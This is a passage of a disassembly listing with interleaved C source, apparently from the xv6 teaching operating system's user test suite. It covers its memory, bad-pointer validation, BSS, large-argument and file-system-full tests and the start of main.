34f4: 8b 45 f0 mov -0x10(%ebp),%eax 34f7: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax 34fb: 83 f8 ff cmp $0xffffffff,%eax 34fe: 74 15 je 3515 <sbrktest+0x420> read(fds[0], &scratch, 1); 3500: 8b 45 c8 mov -0x38(%ebp),%eax 3503: 83 ec 04 sub $0x4,%esp 3506: 6a 01 push $0x1 3508: 8d 55 9f lea -0x61(%ebp),%edx 350b: 52 push %edx 350c: 50 push %eax 350d: e8 d1 09 00 00 call 3ee3 <read> 3512: 83 c4 10 add $0x10,%esp for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){ 3515: 83 45 f0 01 addl $0x1,-0x10(%ebp) 3519: 8b 45 f0 mov -0x10(%ebp),%eax 351c: 83 f8 09 cmp $0x9,%eax 351f: 0f 86 6c ff ff ff jbe 3491 <sbrktest+0x39c> } // if those failed allocations freed up the pages they did allocate, // we'll be able to allocate here c = sbrk(4096); 3525: 83 ec 0c sub $0xc,%esp 3528: 68 00 10 00 00 push $0x1000 352d: e8 21 0a 00 00 call 3f53 <sbrk> 3532: 83 c4 10 add $0x10,%esp 3535: 89 45 e0 mov %eax,-0x20(%ebp) for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){ 3538: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 353f: eb 2b jmp 356c <sbrktest+0x477> if(pids[i] == -1) 3541: 8b 45 f0 mov -0x10(%ebp),%eax 3544: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax 3548: 83 f8 ff cmp $0xffffffff,%eax 354b: 74 1a je 3567 <sbrktest+0x472> continue; kill(pids[i]); 354d: 8b 45 f0 mov -0x10(%ebp),%eax 3550: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax 3554: 83 ec 0c sub $0xc,%esp 3557: 50 push %eax 3558: e8 9e 09 00 00 call 3efb <kill> 355d: 83 c4 10 add $0x10,%esp wait(); 3560: e8 6e 09 00 00 call 3ed3 <wait> 3565: eb 01 jmp 3568 <sbrktest+0x473> continue; 3567: 90 nop for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){ 3568: 83 45 f0 01 addl $0x1,-0x10(%ebp) 356c: 8b 45 f0 mov -0x10(%ebp),%eax 356f: 83 f8 09 cmp $0x9,%eax 3572: 76 cd jbe 3541 <sbrktest+0x44c> } if(c == (char*)0xffffffff){ 3574: 83 7d e0 ff cmpl $0xffffffff,-0x20(%ebp) 3578: 75 1b jne 3595 <sbrktest+0x4a0> printf(stdout, "failed sbrk leaked memory\n"); 357a: a1 a8 62 00 00 mov 0x62a8,%eax 357f: 83 ec 08 sub $0x8,%esp 3582: 68 5a 59 00 00 push $0x595a 3587: 50 push %eax 3588: e8 b1 0a 00 00 call 403e <printf> 358d: 83 c4 10 add $0x10,%esp exit(); 3590: e8 36 09 00 00 call 3ecb <exit> } if(sbrk(0) > oldbrk) 3595: 83 ec 0c sub $0xc,%esp 3598: 6a 00 push $0x0 359a: e8 b4 09 00 00 call 3f53 <sbrk> 359f: 83 c4 10 add $0x10,%esp 35a2: 39 45 ec cmp %eax,-0x14(%ebp) 35a5: 73 20 jae 35c7 <sbrktest+0x4d2> sbrk(-(sbrk(0) - oldbrk)); 35a7: 83 ec 0c sub $0xc,%esp 35aa: 6a 00 push $0x0 35ac: e8 a2 09 00 00 call 3f53 <sbrk> 35b1: 83 c4 10 add $0x10,%esp 35b4: 89 c2 mov %eax,%edx 35b6: 8b 45 ec mov -0x14(%ebp),%eax 35b9: 29 d0 sub %edx,%eax 35bb: 83 ec 0c sub $0xc,%esp 35be: 50 push %eax 35bf: e8 8f 09 00 00 call 3f53 <sbrk> 35c4: 83 c4 10 add $0x10,%esp printf(stdout, "sbrk test OK\n"); 35c7: a1 a8 62 00 00 mov 0x62a8,%eax 35cc: 83 ec 08 sub $0x8,%esp 35cf: 68 75 59 00 00 push $0x5975 35d4: 50 push %eax 35d5: e8 64 0a 00 00 call 403e <printf> 35da: 83 c4 10 add $0x10,%esp } 35dd: 90 nop 35de: c9 leave 35df: c3 ret 000035e0 <validateint>: void validateint(int *p) { 35e0: 55 push %ebp 35e1: 89 e5 mov %esp,%ebp 35e3: 53 push %ebx 35e4: 83 ec 10 sub $0x10,%esp int res; asm("mov %%esp, %%ebx\n\t" 35e7: b8 0d 00 00 00 mov $0xd,%eax 35ec: 8b 55 08 mov 0x8(%ebp),%edx 35ef: 89 d1 mov %edx,%ecx 35f1: 89 e3 mov %esp,%ebx 35f3: 89 cc mov %ecx,%esp 35f5: cd 40 int $0x40 35f7: 89 dc mov %ebx,%esp 35f9: 89 45 f8 mov %eax,-0x8(%ebp) "int %2\n\t" "mov %%ebx, %%esp" : "=a" (res) : "a" (SYS_sleep), "n" (T_SYSCALL), "c" (p) : "ebx"); } 35fc: 90 nop 35fd: 83 c4 10 add $0x10,%esp 3600: 5b pop %ebx 3601: 5d pop %ebp 3602: c3 ret 00003603 <validatetest>: void validatetest(void) { 3603: 55 push %ebp 3604: 89 e5 mov %esp,%ebp 3606: 83 ec 18 sub $0x18,%esp int hi, pid; uint p; printf(stdout, "validate test\n"); 3609: a1 a8 62 00 00 mov 0x62a8,%eax 360e: 83 ec 08 sub $0x8,%esp 3611: 68 83 59 00 00 push $0x5983 3616: 50 push %eax 3617: e8 22 0a 00 00 call 403e <printf> 361c: 83 c4 10 add $0x10,%esp hi = 1100*1024; 361f: c7 45 f0 00 30 11 00 movl $0x113000,-0x10(%ebp) for(p = 0; p <= (uint)hi; p += 4096){ 3626: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 362d: e9 8a 00 00 00 jmp 36bc <validatetest+0xb9> if((pid = fork()) == 0){ 3632: e8 8c 08 00 00 call 3ec3 <fork> 3637: 89 45 ec mov %eax,-0x14(%ebp) 363a: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 363e: 75 14 jne 3654 <validatetest+0x51> // try to crash the kernel by passing in a badly placed integer validateint((int*)p); 3640: 8b 45 f4 mov -0xc(%ebp),%eax 3643: 83 ec 0c sub $0xc,%esp 3646: 50 push %eax 3647: e8 94 ff ff ff call 35e0 <validateint> 364c: 83 c4 10 add $0x10,%esp exit(); 364f: e8 77 08 00 00 call 3ecb <exit> } sleep(0); 3654: 83 ec 0c sub $0xc,%esp 3657: 6a 00 push $0x0 3659: e8 fd 08 00 00 call 3f5b <sleep> 365e: 83 c4 10 add $0x10,%esp sleep(0); 3661: 83 ec 0c sub $0xc,%esp 3664: 6a 00 push $0x0 3666: e8 f0 08 00 00 call 3f5b <sleep> 366b: 83 c4 10 add $0x10,%esp kill(pid); 366e: 83 ec 0c sub $0xc,%esp 3671: ff 75 ec pushl -0x14(%ebp) 3674: e8 82 08 00 00 call 3efb <kill> 3679: 83 c4 10 add $0x10,%esp wait(); 367c: e8 52 08 00 00 call 3ed3 <wait> // try to crash the kernel by passing in a bad string pointer if(link("nosuchfile", (char*)p) != -1){ 3681: 8b 45 f4 mov -0xc(%ebp),%eax 3684: 83 ec 08 sub $0x8,%esp 3687: 50 push %eax 3688: 68 92 59 00 00 push $0x5992 368d: e8 99 08 00 00 call 3f2b <link> 3692: 83 c4 10 add $0x10,%esp 3695: 83 f8 ff cmp $0xffffffff,%eax 3698: 74 1b je 36b5 <validatetest+0xb2> printf(stdout, "link should not succeed\n"); 369a: a1 a8 62 00 00 mov 0x62a8,%eax 369f: 83 ec 08 sub $0x8,%esp 36a2: 68 9d 59 00 00 push $0x599d 36a7: 50 push %eax 36a8: e8 91 09 00 00 call 403e <printf> 36ad: 83 c4 10 add $0x10,%esp exit(); 36b0: e8 16 08 00 00 call 3ecb <exit> for(p = 0; p <= (uint)hi; p += 4096){ 36b5: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 36bc: 8b 45 f0 mov -0x10(%ebp),%eax 36bf: 39 45 f4 cmp %eax,-0xc(%ebp) 36c2: 0f 86 6a ff ff ff jbe 3632 <validatetest+0x2f> } } printf(stdout, "validate ok\n"); 36c8: a1 a8 62 00 00 mov 0x62a8,%eax 36cd: 83 ec 08 sub $0x8,%esp 36d0: 68 b6 59 00 00 push $0x59b6 36d5: 50 push %eax 36d6: e8 63 09 00 00 call 403e <printf> 36db: 83 c4 10 add $0x10,%esp } 36de: 90 nop 36df: c9 leave 36e0: c3 ret 000036e1 <bsstest>: // does unintialized data start out zero? char uninit[10000]; void bsstest(void) { 36e1: 55 push %ebp 36e2: 89 e5 mov %esp,%ebp 36e4: 83 ec 18 sub $0x18,%esp int i; printf(stdout, "bss test\n"); 36e7: a1 a8 62 00 00 mov 0x62a8,%eax 36ec: 83 ec 08 sub $0x8,%esp 36ef: 68 c3 59 00 00 push $0x59c3 36f4: 50 push %eax 36f5: e8 44 09 00 00 call 403e <printf> 36fa: 83 c4 10 add $0x10,%esp for(i = 0; i < sizeof(uninit); i++){ 36fd: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 3704: eb 2e jmp 3734 <bsstest+0x53> if(uninit[i] != '\0'){ 3706: 8b 45 f4 mov -0xc(%ebp),%eax 3709: 05 80 63 00 00 add $0x6380,%eax 370e: 0f b6 00 movzbl (%eax),%eax 3711: 84 c0 test %al,%al 3713: 74 1b je 3730 <bsstest+0x4f> printf(stdout, "bss test failed\n"); 3715: a1 a8 62 00 00 mov 0x62a8,%eax 371a: 83 ec 08 sub $0x8,%esp 371d: 68 cd 59 00 00 push $0x59cd 3722: 50 push %eax 3723: e8 16 09 00 00 call 403e <printf> 3728: 83 c4 10 add $0x10,%esp exit(); 372b: e8 9b 07 00 00 call 3ecb <exit> for(i = 0; i < sizeof(uninit); i++){ 3730: 83 45 f4 01 addl $0x1,-0xc(%ebp) 3734: 8b 45 f4 mov -0xc(%ebp),%eax 3737: 3d 0f 27 00 00 cmp $0x270f,%eax 373c: 76 c8 jbe 3706 <bsstest+0x25> } } printf(stdout, "bss test ok\n"); 373e: a1 a8 62 00 00 mov 0x62a8,%eax 3743: 83 ec 08 sub $0x8,%esp 3746: 68 de 59 00 00 push $0x59de 374b: 50 push %eax 374c: e8 ed 08 00 00 call 403e <printf> 3751: 83 c4 10 add $0x10,%esp } 3754: 90 nop 3755: c9 leave 3756: c3 ret 00003757 <bigargtest>: // does exec return an error if the arguments // are larger than a page? or does it write // below the stack and wreck the instructions/data? void bigargtest(void) { 3757: 55 push %ebp 3758: 89 e5 mov %esp,%ebp 375a: 83 ec 18 sub $0x18,%esp int pid, fd; unlink("bigarg-ok"); 375d: 83 ec 0c sub $0xc,%esp 3760: 68 eb 59 00 00 push $0x59eb 3765: e8 b1 07 00 00 call 3f1b <unlink> 376a: 83 c4 10 add $0x10,%esp pid = fork(); 376d: e8 51 07 00 00 call 3ec3 <fork> 3772: 89 45 f0 mov %eax,-0x10(%ebp) if(pid == 0){ 3775: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 3779: 0f 85 97 00 00 00 jne 3816 <bigargtest+0xbf> static char *args[MAXARG]; int i; for(i = 0; i < MAXARG-1; i++) 377f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 3786: eb 12 jmp 379a <bigargtest+0x43> args[i] = "bigargs test: failed\n "; 3788: 8b 45 f4 mov -0xc(%ebp),%eax 378b: c7 04 85 e0 62 00 00 movl $0x59f8,0x62e0(,%eax,4) 3792: f8 59 00 00 for(i = 0; i < MAXARG-1; i++) 3796: 83 45 f4 01 addl $0x1,-0xc(%ebp) 379a: 83 7d f4 1e cmpl $0x1e,-0xc(%ebp) 379e: 7e e8 jle 3788 <bigargtest+0x31> args[MAXARG-1] = 0; 37a0: c7 05 5c 63 00 00 00 movl $0x0,0x635c 37a7: 00 00 00 printf(stdout, "bigarg test\n"); 37aa: a1 a8 62 00 00 mov 0x62a8,%eax 37af: 83 ec 08 sub $0x8,%esp 37b2: 68 d5 5a 00 00 push $0x5ad5 37b7: 50 push %eax 37b8: e8 81 08 00 00 call 403e <printf> 37bd: 83 c4 10 add $0x10,%esp exec("echo", args); 37c0: 83 ec 08 sub $0x8,%esp 37c3: 68 e0 62 00 00 push $0x62e0 37c8: 68 f4 43 00 00 push $0x43f4 37cd: e8 31 07 00 00 call 3f03 <exec> 37d2: 83 c4 10 add $0x10,%esp printf(stdout, "bigarg test ok\n"); 37d5: a1 a8 62 00 00 mov 0x62a8,%eax 37da: 83 ec 08 sub $0x8,%esp 37dd: 68 e2 5a 00 00 push $0x5ae2 37e2: 50 push %eax 37e3: e8 56 08 00 00 call 403e <printf> 37e8: 83 c4 10 add $0x10,%esp fd = open("bigarg-ok", O_CREATE); 37eb: 83 ec 08 sub $0x8,%esp 37ee: 68 00 02 00 00 push $0x200 37f3: 68 eb 59 00 00 push $0x59eb 37f8: e8 0e 07 00 00 call 3f0b <open> 37fd: 83 c4 10 add $0x10,%esp 3800: 89 45 ec mov %eax,-0x14(%ebp) close(fd); 3803: 83 ec 0c sub $0xc,%esp 3806: ff 75 ec pushl -0x14(%ebp) 3809: e8 e5 06 00 00 call 3ef3 <close> 380e: 83 c4 10 add $0x10,%esp exit(); 3811: e8 b5 06 00 00 call 3ecb <exit> } else if(pid < 0){ 3816: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 381a: 79 1b jns 3837 <bigargtest+0xe0> printf(stdout, "bigargtest: fork failed\n"); 381c: a1 a8 62 00 00 mov 0x62a8,%eax 3821: 83 ec 08 sub $0x8,%esp 3824: 68 f2 5a 00 00 push $0x5af2 3829: 50 push %eax 382a: e8 0f 08 00 00 call 403e <printf> 382f: 83 c4 10 add $0x10,%esp exit(); 3832: e8 94 06 00 00 call 3ecb <exit> } wait(); 3837: e8 97 06 00 00 call 3ed3 <wait> fd = open("bigarg-ok", 0); 383c: 83 ec 08 sub $0x8,%esp 383f: 6a 00 push $0x0 3841: 68 eb 59 00 00 push $0x59eb 3846: e8 c0 06 00 00 call 3f0b <open> 384b: 83 c4 10 add $0x10,%esp 384e: 89 45 ec mov %eax,-0x14(%ebp) if(fd < 0){ 3851: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 3855: 79 1b jns 3872 <bigargtest+0x11b> printf(stdout, "bigarg test failed!\n"); 3857: a1 a8 62 00 00 mov 0x62a8,%eax 385c: 83 ec 08 sub $0x8,%esp 385f: 68 0b 5b 00 00 push $0x5b0b 3864: 50 push %eax 3865: e8 d4 07 00 00 call 403e <printf> 386a: 83 c4 10 add $0x10,%esp exit(); 386d: e8 59 06 00 00 call 3ecb <exit> } close(fd); 3872: 83 ec 0c sub $0xc,%esp 3875: ff 75 ec pushl -0x14(%ebp) 3878: e8 76 06 00 00 call 3ef3 <close> 387d: 83 c4 10 add $0x10,%esp unlink("bigarg-ok"); 3880: 83 ec 0c sub $0xc,%esp 3883: 68 eb 59 00 00 push $0x59eb 3888: e8 8e 06 00 00 call 3f1b <unlink> 388d: 83 c4 10 add $0x10,%esp } 3890: 90 nop 3891: c9 leave 3892: c3 ret 00003893 <fsfull>: // what happens when the file system runs out of blocks? // answer: balloc panics, so this test is not useful. void fsfull() { 3893: 55 push %ebp 3894: 89 e5 mov %esp,%ebp 3896: 53 push %ebx 3897: 83 ec 64 sub $0x64,%esp int nfiles; int fsblocks = 0; 389a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) printf(1, "fsfull test\n"); 38a1: 83 ec 08 sub $0x8,%esp 38a4: 68 20 5b 00 00 push $0x5b20 38a9: 6a 01 push $0x1 38ab: e8 8e 07 00 00 call 403e <printf> 38b0: 83 c4 10 add $0x10,%esp for(nfiles = 0; ; nfiles++){ 38b3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) char name[64]; name[0] = 'f'; 38ba: c6 45 a4 66 movb $0x66,-0x5c(%ebp) name[1] = '0' + nfiles / 1000; 38be: 8b 4d f4 mov -0xc(%ebp),%ecx 38c1: ba d3 4d 62 10 mov $0x10624dd3,%edx 38c6: 89 c8 mov %ecx,%eax 38c8: f7 ea imul %edx 38ca: c1 fa 06 sar $0x6,%edx 38cd: 89 c8 mov %ecx,%eax 38cf: c1 f8 1f sar $0x1f,%eax 38d2: 29 c2 sub %eax,%edx 38d4: 89 d0 mov %edx,%eax 38d6: 83 c0 30 add $0x30,%eax 38d9: 88 45 a5 mov %al,-0x5b(%ebp) name[2] = '0' + (nfiles % 1000) / 100; 38dc: 8b 5d f4 mov -0xc(%ebp),%ebx 38df: ba d3 4d 62 10 mov $0x10624dd3,%edx 38e4: 89 d8 mov %ebx,%eax 38e6: f7 ea imul %edx 38e8: c1 fa 06 sar $0x6,%edx 38eb: 89 d8 mov %ebx,%eax 38ed: c1 f8 1f sar $0x1f,%eax 38f0: 89 d1 mov %edx,%ecx 38f2: 29 c1 sub %eax,%ecx 38f4: 69 c1 e8 03 00 00 imul $0x3e8,%ecx,%eax 38fa: 29 c3 sub %eax,%ebx 38fc: 89 d9 mov %ebx,%ecx 38fe: ba 1f 85 eb 51 mov $0x51eb851f,%edx 3903: 89 c8 mov %ecx,%eax 3905: f7 ea imul %edx 3907: c1 fa 05 sar $0x5,%edx 390a: 89 c8 mov %ecx,%eax 390c: c1 f8 1f sar $0x1f,%eax 390f: 29 c2 sub %eax,%edx 3911: 89 d0 mov %edx,%eax 3913: 83 c0 30 add $0x30,%eax 3916: 88 45 a6 mov %al,-0x5a(%ebp) name[3] = '0' + (nfiles % 100) / 10; 3919: 8b 5d f4 mov -0xc(%ebp),%ebx 391c: ba 1f 85 eb 51 mov $0x51eb851f,%edx 3921: 89 d8 mov %ebx,%eax 3923: f7 ea imul %edx 3925: c1 fa 05 sar $0x5,%edx 3928: 89 d8 mov %ebx,%eax 392a: c1 f8 1f sar $0x1f,%eax 392d: 89 d1 mov %edx,%ecx 392f: 29 c1 sub %eax,%ecx 3931: 6b c1 64 imul $0x64,%ecx,%eax 3934: 29 c3 sub %eax,%ebx 3936: 89 d9 mov %ebx,%ecx 3938: ba 67 66 66 66 mov $0x66666667,%edx 393d: 89 c8 mov %ecx,%eax 393f: f7 ea imul %edx 3941: c1 fa 02 sar $0x2,%edx 3944: 89 c8 mov %ecx,%eax 3946: c1 f8 1f sar $0x1f,%eax 3949: 29 c2 sub %eax,%edx 394b: 89 d0 mov %edx,%eax 394d: 83 c0 30 add $0x30,%eax 3950: 88 45 a7 mov %al,-0x59(%ebp) name[4] = '0' + (nfiles % 10); 3953: 8b 4d f4 mov -0xc(%ebp),%ecx 3956: ba 67 66 66 66 mov $0x66666667,%edx 395b: 89 c8 mov %ecx,%eax 395d: f7 ea imul %edx 395f: c1 fa 02 sar $0x2,%edx 3962: 89 c8 mov %ecx,%eax 3964: c1 f8 1f sar $0x1f,%eax 3967: 29 c2 sub %eax,%edx 3969: 89 d0 mov %edx,%eax 396b: c1 e0 02 shl $0x2,%eax 396e: 01 d0 add %edx,%eax 3970: 01 c0 add %eax,%eax 3972: 29 c1 sub %eax,%ecx 3974: 89 ca mov %ecx,%edx 3976: 89 d0 mov %edx,%eax 3978: 83 c0 30 add $0x30,%eax 397b: 88 45 a8 mov %al,-0x58(%ebp) name[5] = '\0'; 397e: c6 45 a9 00 movb $0x0,-0x57(%ebp) printf(1, "writing %s\n", name); 3982: 83 ec 04 sub $0x4,%esp 3985: 8d 45 a4 lea -0x5c(%ebp),%eax 3988: 50 push %eax 3989: 68 2d 5b 00 00 push $0x5b2d 398e: 6a 01 push $0x1 3990: e8 a9 06 00 00 call 403e <printf> 3995: 83 c4 10 add $0x10,%esp int fd = open(name, O_CREATE|O_RDWR); 3998: 83 ec 08 sub $0x8,%esp 399b: 68 02 02 00 00 push $0x202 39a0: 8d 45 a4 lea -0x5c(%ebp),%eax 39a3: 50 push %eax 39a4: e8 62 05 00 00 call 3f0b <open> 39a9: 83 c4 10 add $0x10,%esp 39ac: 89 45 e8 mov %eax,-0x18(%ebp) if(fd < 0){ 39af: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 39b3: 79 18 jns 39cd <fsfull+0x13a> printf(1, "open %s failed\n", name); 39b5: 83 ec 04 sub $0x4,%esp 39b8: 8d 45 a4 lea -0x5c(%ebp),%eax 39bb: 50 push %eax 39bc: 68 39 5b 00 00 push $0x5b39 39c1: 6a 01 push $0x1 39c3: e8 76 06 00 00 call 403e <printf> 39c8: 83 c4 10 add $0x10,%esp break; 39cb: eb 6b jmp 3a38 <fsfull+0x1a5> } int total = 0; 39cd: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) while(1){ int cc = write(fd, buf, 512); 39d4: 83 ec 04 sub $0x4,%esp 39d7: 68 00 02 00 00 push $0x200 39dc: 68 a0 8a 00 00 push $0x8aa0 39e1: ff 75 e8 pushl -0x18(%ebp) 39e4: e8 02 05 00 00 call 3eeb <write> 39e9: 83 c4 10 add $0x10,%esp 39ec: 89 45 e4 mov %eax,-0x1c(%ebp) if(cc < 512) 39ef: 81 7d e4 ff 01 00 00 cmpl $0x1ff,-0x1c(%ebp) 39f6: 7e 0c jle 3a04 <fsfull+0x171> break; total += cc; 39f8: 8b 45 e4 mov -0x1c(%ebp),%eax 39fb: 01 45 ec add %eax,-0x14(%ebp) fsblocks++; 39fe: 83 45 f0 01 addl $0x1,-0x10(%ebp) while(1){ 3a02: eb d0 jmp 39d4 <fsfull+0x141> break; 3a04: 90 nop } printf(1, "wrote %d bytes\n", total); 3a05: 83 ec 04 sub $0x4,%esp 3a08: ff 75 ec pushl -0x14(%ebp) 3a0b: 68 49 5b 00 00 push $0x5b49 3a10: 6a 01 push $0x1 3a12: e8 27 06 00 00 call 403e <printf> 3a17: 83 c4 10 add $0x10,%esp close(fd); 3a1a: 83 ec 0c sub $0xc,%esp 3a1d: ff 75 e8 pushl -0x18(%ebp) 3a20: e8 ce 04 00 00 call 3ef3 <close> 3a25: 83 c4 10 add $0x10,%esp if(total == 0) 3a28: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 3a2c: 74 09 je 3a37 <fsfull+0x1a4> for(nfiles = 0; ; nfiles++){ 3a2e: 83 45 f4 01 addl $0x1,-0xc(%ebp) 3a32: e9 83 fe ff ff jmp 38ba <fsfull+0x27> break; 3a37: 90 nop } while(nfiles >= 0){ 3a38: e9 db 00 00 00 jmp 3b18 <fsfull+0x285> char name[64]; name[0] = 'f'; 3a3d: c6 45 a4 66 movb $0x66,-0x5c(%ebp) name[1] = '0' + nfiles / 1000; 3a41: 8b 4d f4 mov -0xc(%ebp),%ecx 3a44: ba d3 4d 62 10 mov $0x10624dd3,%edx 3a49: 89 c8 mov %ecx,%eax 3a4b: f7 ea imul %edx 3a4d: c1 fa 06 sar $0x6,%edx 3a50: 89 c8 mov %ecx,%eax 3a52: c1 f8 1f sar $0x1f,%eax 3a55: 29 c2 sub %eax,%edx 3a57: 89 d0 mov %edx,%eax 3a59: 83 c0 30 add $0x30,%eax 3a5c: 88 45 a5 mov %al,-0x5b(%ebp) name[2] = '0' + (nfiles % 1000) / 100; 3a5f: 8b 5d f4 mov -0xc(%ebp),%ebx 3a62: ba d3 4d 62 10 mov $0x10624dd3,%edx 3a67: 89 d8 mov %ebx,%eax 3a69: f7 ea imul %edx 3a6b: c1 fa 06 sar $0x6,%edx 3a6e: 89 d8 mov %ebx,%eax 3a70: c1 f8 1f sar $0x1f,%eax 3a73: 89 d1 mov %edx,%ecx 3a75: 29 c1 sub %eax,%ecx 3a77: 69 c1 e8 03 00 00 imul $0x3e8,%ecx,%eax 3a7d: 29 c3 sub %eax,%ebx 3a7f: 89 d9 mov %ebx,%ecx 3a81: ba 1f 85 eb 51 mov $0x51eb851f,%edx 3a86: 89 c8 mov %ecx,%eax 3a88: f7 ea imul %edx 3a8a: c1 fa 05 sar $0x5,%edx 3a8d: 89 c8 mov %ecx,%eax 3a8f: c1 f8 1f sar $0x1f,%eax 3a92: 29 c2 sub %eax,%edx 3a94: 89 d0 mov %edx,%eax 3a96: 83 c0 30 add $0x30,%eax 3a99: 88 45 a6 mov %al,-0x5a(%ebp) name[3] = '0' + (nfiles % 100) / 10; 3a9c: 8b 5d f4 mov -0xc(%ebp),%ebx 3a9f: ba 1f 85 eb 51 mov $0x51eb851f,%edx 3aa4: 89 d8 mov %ebx,%eax 3aa6: f7 ea imul %edx 3aa8: c1 fa 05 sar $0x5,%edx 3aab: 89 d8 mov %ebx,%eax 3aad: c1 f8 1f sar $0x1f,%eax 3ab0: 89 d1 mov %edx,%ecx 3ab2: 29 c1 sub %eax,%ecx 3ab4: 6b c1 64 imul $0x64,%ecx,%eax 3ab7: 29 c3 sub %eax,%ebx 3ab9: 89 d9 mov %ebx,%ecx 3abb: ba 67 66 66 66 mov $0x66666667,%edx 3ac0: 89 c8 mov %ecx,%eax 3ac2: f7 ea imul %edx 3ac4: c1 fa 02 sar $0x2,%edx 3ac7: 89 c8 mov %ecx,%eax 3ac9: c1 f8 1f sar $0x1f,%eax 3acc: 29 c2 sub %eax,%edx 3ace: 89 d0 mov %edx,%eax 3ad0: 83 c0 30 add $0x30,%eax 3ad3: 88 45 a7 mov %al,-0x59(%ebp) name[4] = '0' + (nfiles % 10); 3ad6: 8b 4d f4 mov -0xc(%ebp),%ecx 3ad9: ba 67 66 66 66 mov $0x66666667,%edx 3ade: 89 c8 mov %ecx,%eax 3ae0: f7 ea imul %edx 3ae2: c1 fa 02 sar $0x2,%edx 3ae5: 89 c8 mov %ecx,%eax 3ae7: c1 f8 1f sar $0x1f,%eax 3aea: 29 c2 sub %eax,%edx 3aec: 89 d0 mov %edx,%eax 3aee: c1 e0 02 shl $0x2,%eax 3af1: 01 d0 add %edx,%eax 3af3: 01 c0 add %eax,%eax 3af5: 29 c1 sub %eax,%ecx 3af7: 89 ca mov %ecx,%edx 3af9: 89 d0 mov %edx,%eax 3afb: 83 c0 30 add $0x30,%eax 3afe: 88 45 a8 mov %al,-0x58(%ebp) name[5] = '\0'; 3b01: c6 45 a9 00 movb $0x0,-0x57(%ebp) unlink(name); 3b05: 83 ec 0c sub $0xc,%esp 3b08: 8d 45 a4 lea -0x5c(%ebp),%eax 3b0b: 50 push %eax 3b0c: e8 0a 04 00 00 call 3f1b <unlink> 3b11: 83 c4 10 add $0x10,%esp nfiles--; 3b14: 83 6d f4 01 subl $0x1,-0xc(%ebp) while(nfiles >= 0){ 3b18: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 3b1c: 0f 89 1b ff ff ff jns 3a3d <fsfull+0x1aa> } printf(1, "fsfull test finished\n"); 3b22: 83 ec 08 sub $0x8,%esp 3b25: 68 59 5b 00 00 push $0x5b59 3b2a: 6a 01 push $0x1 3b2c: e8 0d 05 00 00 call 403e <printf> 3b31: 83 c4 10 add $0x10,%esp } 3b34: 90 nop 3b35: 8b 5d fc mov -0x4(%ebp),%ebx 3b38: c9 leave 3b39: c3 ret 00003b3a <rand>: unsigned long randstate = 1; unsigned int rand() { 3b3a: 55 push %ebp 3b3b: 89 e5 mov %esp,%ebp randstate = randstate * 1664525 + 1013904223; 3b3d: a1 ac 62 00 00 mov 0x62ac,%eax 3b42: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax 3b48: 05 5f f3 6e 3c add $0x3c6ef35f,%eax 3b4d: a3 ac 62 00 00 mov %eax,0x62ac return randstate; 3b52: a1 ac 62 00 00 mov 0x62ac,%eax } 3b57: 5d pop %ebp 3b58: c3 ret 00003b59 <main>: int main(int argc, char *argv[]) { 3b59: 8d 4c 24 04 lea 0x4(%esp),%ecx 3b5d: 83 e4 f0 and $0xfffffff0,%esp 3b60: ff 71 fc pushl -0x4(%ecx) 3b63: 55 push %ebp 3b64: 89 e5 mov %esp,%ebp 3b66: 51 push %ecx 3b67: 83 ec 04 sub $0x4,%esp printf(1, "usertests starting\n"); 3b6a: 83 ec 08 sub $0x8,%esp 3b6d: 68 6f 5b 00 00 push $0x5b6f 3b72: 6a 01 push $0x1 3b74: e8 c5 04 00 00 call 403e <printf> 3b79: 83 c4 10 add $0x10,%esp if(open("usertests.ran", 0) >= 0){ 3b7c: 83 ec 08 sub $0x8,%esp 3b7f: 6a 00 push $0x0 3b81: 68 83 5b 00 00 push $0x5b83 3b86: e8 80 03 00 00 call 3f0b <open> 3b8b: 83 c4 10 add $0x10,%esp 3b8e: 85 c0 test %eax,%eax 3b90: 78 17 js 3ba9 <main+0x50> printf(1, "already ran user tests -- rebuild fs.img\n"); 3b92: 83 ec 08 sub $0x8,%esp 3b95: 68 94 5b 00 00 push $0x5b94 3b9a: 6a 01 push $0x1 3b9c: e8 9d 04 00 00 call 403e <printf> 3ba1: 83 c4 10 add $0x10,%esp exit(); 3ba4: e8 22 03 00 00 call 3ecb <exit> } close(open("usertests.ran", O_CREATE)); 3ba9: 83 ec 08 sub $0x8,%esp 3bac: 68 00 02 00 00 push $0x200 3bb1: 68 83 5b 00 00 push $0x5b83 3bb6: e8 50 03 00 00 call 3f0b <open> 3bbb: 83 c4 10 add $0x10,%esp 3bbe: 83 ec 0c sub $0xc,%esp 3bc1: 50 push %eax 3bc2: e8 2c 03 00 00 call 3ef3 <close> 3bc7: 83 c4 10 add $0x10,%esp createdelete(); 3bca: e8 db d6 ff ff call 12aa <createdelete> linkunlink(); 3bcf: e8 fc e0 ff ff call 1cd0 <linkunlink> concreate(); 3bd4: e8 47 dd ff ff call 1920 <concreate> fourfiles(); 3bd9: e8 7b d4 ff ff call 1059 <fourfiles> sharedfd(); 3bde: e8 93 d2 ff ff call e76 <sharedfd> bigargtest(); 3be3: e8 6f fb ff ff call 3757 <bigargtest> bigwrite(); 3be8: e8 d5 ea ff ff call 26c2 <bigwrite> bigargtest(); 3bed: e8 65 fb ff ff call 3757 <bigargtest> bsstest(); 3bf2: e8 ea fa ff ff call 36e1 <bsstest> sbrktest(); 3bf7: e8 f9 